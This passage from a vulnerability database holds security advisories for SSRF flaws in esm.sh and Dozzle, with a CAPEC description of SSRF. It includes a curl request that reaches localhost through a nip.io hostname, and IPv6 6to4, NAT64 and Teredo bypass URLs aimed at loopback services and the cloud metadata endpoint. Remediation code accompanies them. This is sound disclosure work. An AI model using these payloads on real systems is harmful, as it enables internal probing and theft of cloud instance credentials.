endpoint:\n```bash\ncurl -i \"https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js\"\n```\n\n127.0.0.1 is blocked,\n\u003cimg width=\"1206\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b\" /\u003e\n\n\nbut 127.0.0.1.nip.io bypasses the filter. \n\u003cimg width=\"1210\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff\" /\u003e\n\n\nThis confirms external requesters can fetch internal localhost service content through esm.sh.\n\n### Impact\nThis is a Server-Side Request Forgery vulnerability (CWE-918).\n\nImpacted:\n- Any esm.sh deployment exposing the `/http(s)` route to untrusted users.\n- Environments where internal services are reachable from the esm.sh server/container network.\n\nPotential consequences:\n- Access to localhost/internal HTTP services not intended for public access.\n- Internal service discovery/probing through the server.\n- Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs).\n- The exploit surface is extension-limited in this route (e.g., \".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"), so it is not a universal arbitrary-file fetch primitive.\n- Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.**\n- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**",
"id": "GHSA-p2v6-84h2-5x4r",
"modified": "2026-03-02T16:40:47Z",
"published": "2026-02-25T22:57:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27730"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/pull/1149"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route"
}
GHSA-P2W3-6X73-2F6X
Vulnerability from github – Published: 2026-09-08 18:11 – Updated: 2026-09-08 18:11Summary
The isBlockedIP SSRF guard in Dozzle's webhook notification dispatcher blocks loopback, link-local, multicast, and unspecified addresses but does not recognize IPv6 transition mechanism addresses (RFC 3056 6to4, RFC 6052 NAT64, RFC 4380 Teredo) that embed arbitrary IPv4 addresses. An authenticated user can bypass the guard to reach loopback services, cloud metadata endpoints (169.254.169.254), and other blocked ranges via webhook notification URLs.
Affected component / versions
- Package:
github.com/amir20/dozzle - Affected versions: all versions with SSRF guard (current HEAD
b9df313) - Vulnerable code:
internal/notification/dispatcher/webhook.go
Details
Root cause (CWE-918)
internal/notification/dispatcher/webhook.go:32-51:
func isBlockedIP(ip net.IP) bool {
if ip.IsLoopback() ||
ip.IsLinkLocalUnicast() ||
ip.IsLinkLocalMulticast() ||
ip.IsMulticast() ||
ip.IsInterfaceLocalMulticast() ||
ip.IsUnspecified() {
return true
}
if v4 := ip.To4(); v4 != nil && zeroNetV4.Contains(v4) {
return true
}
if ip.Equal(net.IPv4bcast) {
return true
}
return false
}
The guard intentionally allows RFC 1918 private ranges for self-hosted webhook targets, but blocks loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10), and other non-routable addresses. IPv6 transition mechanism addresses bypass all these checks:
| Mechanism | Prefix | Embeds | isBlockedIP result |
|---|---|---|---|
| 6to4 | 2002::/16 |
any IPv4 in bits 16-47 | false |
| NAT64 WKP | 64:ff9b::/96 |
any IPv4 in bits 96-127 | false |
| Teredo | 2001:0000::/32 |
any IPv4 in bits 96-127 | false |
Reachability / trust boundary
The safeDialContext function (line 53) resolves hostnames and checks each IP against isBlockedIP before establishing a TCP connection. This is used as the DialContext for the webhook HTTP client (line 115).
Webhook URLs are configured by authenticated Dozzle users through the notification settings UI. The guard exists to prevent authenticated users from using webhook delivery as a proxy to reach the host machine's loopback services or cloud metadata endpoint.
Attack chain
- Authenticated user creates a webhook notification with URL
http://[2002:7f00:0001::1]:8080/(6to4 embedding 127.0.0.1) - When a notification triggers, Dozzle's webhook dispatcher calls
safeDialContext - The IPv6 address
2002:7f00:0001::1is checked againstisBlockedIP-- all predicates return false - Connection proceeds to the 6to4 relay which routes to 127.0.0.1
- The webhook POST reaches the host's loopback services
Impact
An authenticated user can bypass the SSRF guard to:
- Reach cloud metadata service at 169.254.169.254 via
2002:a9fe:a9fe::1(6to4) to steal instance credentials - Reach localhost services via
64:ff9b::7f00:1(NAT64) or2002:7f00:0001::1(6to4) - The webhook response body is logged at debug level but not returned to the user, making this a semi-blind SSRF (status code is returned)
Note: RFC 1918 private ranges are intentionally allowed by the guard. This bypass specifically targets the blocked ranges (loopback and link-local/metadata) that the guard explicitly intends to prevent.
Proof of concept
Bypass vectors:
# 6to4 embedding 127.0.0.1 (bypasses IsLoopback)
http://[2002:7f00:0001::1]:8080/
# NAT64 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)
http://[64:ff9b::a9fe:a9fe]/latest/meta-data/
# 6to4 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)
http://[2002:a9fe:a9fe::1]/latest/meta-data/
# Teredo embedding 127.0.0.1
http://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/
Verification that isBlockedIP returns false for all vectors:
package main
import (
"fmt"
"net"
)
func isBlockedIP(ip net.IP) bool {
return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||
ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified()
}
func main() {
for _, v := range []string{
"2002:7f00:0001::1", // 6to4 -> 127.0.0.1
"64:ff9b::a9fe:a9fe", // NAT64 -> 169.254.169.254
"2002:a9fe:a9fe::1", // 6to4 -> 169.254.169.254
} {
ip := net.ParseIP(v)
fmt.Printf("%-35s blocked=%v\n", v, isBlockedIP(ip))
}
}
// Output: all false
Remediation
Add IPv6 transition mechanism prefix checks to isBlockedIP:
func isBlockedIP(ip net.IP) bool {
// ... existing checks ...
// IPv6 transition mechanisms embedding arbitrary IPv4
if len(ip) == net.IPv6len {
if ip[0] == 0x20 && ip[1] == 0x02 { return true } // 6to4
if ip[0] == 0x00 && ip[1] == 0x64 && ip[2] == 0xff && ip[3] == 0x9b { return true } // NAT64
if ip[0] == 0x20 && ip[1] == 0x01 && ip[2] == 0x00 && ip[3] == 0x00 { return true } // Teredo
}
return false
}
Credit
Reported by tonghuaroot (tonghuaroot@gmail.com).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/amir20/dozzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.1-0.20260804193351-8cf7ccd5ee04"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73087"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T18:11:56Z",
"nvd_published_at": "2026-08-11T17:19:16Z",
"severity": "LOW"
},
"details": "## Summary\n\nThe `isBlockedIP` SSRF guard in Dozzle\u0027s webhook notification dispatcher blocks loopback, link-local, multicast, and unspecified addresses but does not recognize IPv6 transition mechanism addresses (RFC 3056 6to4, RFC 6052 NAT64, RFC 4380 Teredo) that embed arbitrary IPv4 addresses. An authenticated user can bypass the guard to reach loopback services, cloud metadata endpoints (169.254.169.254), and other blocked ranges via webhook notification URLs.\n\n## Affected component / versions\n\n- Package: `github.com/amir20/dozzle`\n- Affected versions: all versions with SSRF guard (current HEAD [`b9df313`](https://github.com/amir20/dozzle/commit/b9df31356fc024e6768a1aac605844dc041d95ee))\n- Vulnerable code: `internal/notification/dispatcher/webhook.go`\n\n## Details\n\n### Root cause (CWE-918)\n\n[`internal/notification/dispatcher/webhook.go:32-51`](https://github.com/amir20/dozzle/blob/b9df31356fc024e6768a1aac605844dc041d95ee/internal/notification/dispatcher/webhook.go#L32-L51):\n\n```go\nfunc isBlockedIP(ip net.IP) bool {\n\tif ip.IsLoopback() ||\n\t\tip.IsLinkLocalUnicast() ||\n\t\tip.IsLinkLocalMulticast() ||\n\t\tip.IsMulticast() ||\n\t\tip.IsInterfaceLocalMulticast() ||\n\t\tip.IsUnspecified() {\n\t\treturn true\n\t}\n\tif v4 := ip.To4(); v4 != nil \u0026\u0026 zeroNetV4.Contains(v4) {\n\t\treturn true\n\t}\n\tif ip.Equal(net.IPv4bcast) {\n\t\treturn true\n\t}\n\treturn false\n}\n```\n\nThe guard intentionally allows RFC 1918 private ranges for self-hosted webhook targets, but blocks loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10), and other non-routable addresses. IPv6 transition mechanism addresses bypass all these checks:\n\n| Mechanism | Prefix | Embeds | `isBlockedIP` result |\n|-----------|--------|--------|---------------------|\n| 6to4 | `2002::/16` | any IPv4 in bits 16-47 | `false` |\n| NAT64 WKP | `64:ff9b::/96` | any IPv4 in bits 96-127 | `false` |\n| Teredo | `2001:0000::/32` | any IPv4 in bits 96-127 | `false` |\n\n### Reachability / trust boundary\n\nThe `safeDialContext` function (line 53) resolves hostnames and checks each IP against `isBlockedIP` before establishing a TCP connection. This is used as the `DialContext` for the webhook HTTP client (line 115).\n\nWebhook URLs are configured by authenticated Dozzle users through the notification settings UI. The guard exists to prevent authenticated users from using webhook delivery as a proxy to reach the host machine\u0027s loopback services or cloud metadata endpoint.\n\n### Attack chain\n\n1. Authenticated user creates a webhook notification with URL `http://[2002:7f00:0001::1]:8080/` (6to4 embedding 127.0.0.1)\n2. When a notification triggers, Dozzle\u0027s webhook dispatcher calls `safeDialContext`\n3. The IPv6 address `2002:7f00:0001::1` is checked against `isBlockedIP` -- all predicates return false\n4. Connection proceeds to the 6to4 relay which routes to 127.0.0.1\n5. The webhook POST reaches the host\u0027s loopback services\n\n## Impact\n\nAn authenticated user can bypass the SSRF guard to:\n\n- Reach cloud metadata service at 169.254.169.254 via `2002:a9fe:a9fe::1` (6to4) to steal instance credentials\n- Reach localhost services via `64:ff9b::7f00:1` (NAT64) or `2002:7f00:0001::1` (6to4)\n- The webhook response body is logged at debug level but not returned to the user, making this a semi-blind SSRF (status code is returned)\n\nNote: RFC 1918 private ranges are intentionally allowed by the guard. This bypass specifically targets the blocked ranges (loopback and link-local/metadata) that the guard explicitly intends to prevent.\n\n## Proof of concept\n\nBypass vectors:\n\n```\n# 6to4 embedding 127.0.0.1 (bypasses IsLoopback)\nhttp://[2002:7f00:0001::1]:8080/\n\n# NAT64 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)\nhttp://[64:ff9b::a9fe:a9fe]/latest/meta-data/\n\n# 6to4 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)\nhttp://[2002:a9fe:a9fe::1]/latest/meta-data/\n\n# Teredo embedding 127.0.0.1\nhttp://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/\n```\n\nVerification that `isBlockedIP` returns false for all vectors:\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net\"\n)\n\nfunc isBlockedIP(ip net.IP) bool {\n return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||\n ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified()\n}\n\nfunc main() {\n for _, v := range []string{\n \"2002:7f00:0001::1\", // 6to4 -\u003e 127.0.0.1\n \"64:ff9b::a9fe:a9fe\", // NAT64 -\u003e 169.254.169.254\n \"2002:a9fe:a9fe::1\", // 6to4 -\u003e 169.254.169.254\n } {\n ip := net.ParseIP(v)\n fmt.Printf(\"%-35s blocked=%v\\n\", v, isBlockedIP(ip))\n }\n}\n// Output: all false\n```\n\n## Remediation\n\nAdd IPv6 transition mechanism prefix checks to `isBlockedIP`:\n\n```go\nfunc isBlockedIP(ip net.IP) bool {\n\t// ... existing checks ...\n\n\t// IPv6 transition mechanisms embedding arbitrary IPv4\n\tif len(ip) == net.IPv6len {\n\t\tif ip[0] == 0x20 \u0026\u0026 ip[1] == 0x02 { return true } // 6to4\n\t\tif ip[0] == 0x00 \u0026\u0026 ip[1] == 0x64 \u0026\u0026 ip[2] == 0xff \u0026\u0026 ip[3] == 0x9b { return true } // NAT64\n\t\tif ip[0] == 0x20 \u0026\u0026 ip[1] == 0x01 \u0026\u0026 ip[2] == 0x00 \u0026\u0026 ip[3] == 0x00 { return true } // Teredo\n\t}\n\treturn false\n}\n```\n\n## Credit\n\nReported by tonghuaroot (tonghuaroot@gmail.com).",
"id": "GHSA-p2w3-6x73-2f6x",
"modified": "2026-09-08T18:11:56Z",
"published": "2026-09-08T18:11:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/security/advisories/GHSA-p2w3-6x73-2f6x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73087"
},
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/pull/4887"
},
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/commit/8cf7ccd5ee041ecaea92b49951793d4d2393761f"
},
{
"type": "PACKAGE",
"url": "https://github.com/amir20/dozzle"
},
{
"type": "WEB",
"url": "https://github.com/amir20/dozzle/releases/tag/v10.6.15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Dozzle: SSRF guard bypass via IPv6 transition addresses (6to4/NAT64/Teredo) in webhook notification dispatcher"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.